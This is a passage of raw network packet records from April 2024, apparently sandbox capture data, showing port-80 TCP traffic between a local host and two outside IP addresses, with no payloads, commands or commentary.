Apr 18, 2024 23:40:05.902451992 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902462006 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.902470112 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902481079 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.902487040 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902488947 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.902513981 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.902518034 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902532101 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.902538061 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902554035 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902560949 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.902574062 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902578115 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.902597904 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.902618885 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.902667046 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902683973 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902699947 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902715921 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.902715921 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902724981 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.902748108 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.902765036 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.902832985 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902852058 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902869940 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902880907 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.902889013 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.902890921 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.902911901 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.902924061 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.902966022 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903012991 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.903032064 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903078079 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.903177977 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903194904 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903212070 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903224945 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.903228045 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903242111 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.903264999 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.903270960 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.903304100 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903325081 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903341055 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903351068 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.903356075 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903366089 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.903373003 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903386116 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.903388977 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903400898 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.903408051 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903423071 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.903424025 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903433084 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.903441906 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903454065 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.903459072 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903465986 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.903476000 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903493881 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903506994 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.903506994 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.903511047 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903517008 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.903528929 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903551102 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.903551102 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.903551102 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903569937 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903585911 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.903587103 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903636932 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.903640032 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903656960 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903669119 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.903678894 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.903714895 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.903762102 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903779984 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903820038 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.903855085 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903872967 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903898954 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.903906107 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.903937101 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.903960943 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.904030085 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.904048920 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.904064894 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.904081106 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.904088974 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.904105902 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.904145956 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.904202938 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.904221058 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.904237986 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.904246092 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.904258013 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.904266119 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.904282093 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.904301882 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.904320955 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.904340029 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.904357910 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.904385090 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.904405117 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.904438019 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.904484987 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.002074957 CEST	49737	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.002135038 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.002340078 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.138710976 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.139259100 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.147346973 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.147464037 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.149769068 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.149842978 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.149878025 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.149951935 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.149977922 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.150032997 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.150116920 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.150347948 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.151145935 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.151187897 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.151242971 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.151287079 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.151328087 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.151355028 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.151365042 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.151379108 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.151403904 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.151417971 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.151448965 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.151484013 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.151520014 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.151545048 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.151556015 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.151581049 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.151597023 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.151602983 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.151730061 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.155257940 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.155298948 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.155349970 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.155361891 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.155390024 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.155417919 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.155428886 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.155438900 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.155466080 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.155477047 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.155527115 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.155524969 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.155541897 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.155556917 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.155571938 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.155594110 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.155611992 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.155621052 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.155643940 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.155657053 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.155662060 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.155692101 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.155708075 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.155730963 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.155751944 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.155786991 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.155822992 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.155859947 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.155873060 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.155894995 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.155915022 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.155930996 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.155939102 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.155975103 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.155978918 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.155987978 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.156028986 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.156028986 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.247004032 CEST	80	49737	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.247081041 CEST	49737	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.248204947 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.248280048 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.248497963 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.250402927 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.250581980 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.389492035 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.389529943 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.389657974 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.397609949 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.399632931 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.400217056 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.400271893 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.400275946 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.400311947 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.400322914 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.400361061 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.400516987 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.400568962 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.401576996 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.401632071 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.401635885 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.401684046 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.401756048 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.401808023 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.401891947 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.401930094 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.401941061 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.401968956 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.401974916 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.402008057 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.402017117 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.402045965 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.402057886 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.402084112 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.402093887 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.402134895 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.402133942 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.402174950 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.402189970 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.402218103 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.402220964 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.402256012 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.402266979 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.402292967 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.402306080 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.402329922 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.402342081 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.402379990 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.402491093 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.402528048 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.402539968 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.402574062 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.402575970 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.402614117 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.402620077 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.402654886 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.402667999 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.402693033 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.402703047 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.402740955 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.402743101 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.402779102 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.402785063 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.402817011 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.402822971 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.402853966 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.402867079 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.402892113 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.402904034 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.402940989 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.402941942 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.402980089 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.402990103 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.403017044 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.403028011 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.403053999 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.403063059 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.403096914 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.403103113 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.403141022 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.403151989 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.403177977 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.403184891 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.403217077 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.403230906 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.403254986 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.403268099 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.403297901 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.403305054 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.403357983 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.403395891 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.403409958 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.403444052 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.403449059 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.403481007 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.403485060 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.403518915 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.403541088 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.403557062 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.403567076 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.403594017 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.403600931 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.403633118 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.403635025 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.403671980 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.403686047 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.403707981 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.403712988 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.403745890 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.403775930 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.403783083 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.403793097 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.403825045 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.403862000 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.403876066 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.403948069 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.403961897 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.403985023 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.403994083 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.404022932 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.404036045 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.404059887 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.404074907 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.404098034 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.404125929 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.404158115 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.404164076 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.404196978 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.404208899 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.404236078 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.404249907 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.404273987 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.404287100 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.404325008 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.404333115 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.404371977 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.404390097 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.404408932 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.404414892 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.404444933 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.404459000 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.404483080 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.404500008 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.404520035 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.404525042 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.404556990 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.404567003 CEST	49739	80	192.168.2.4	193.233.132.167
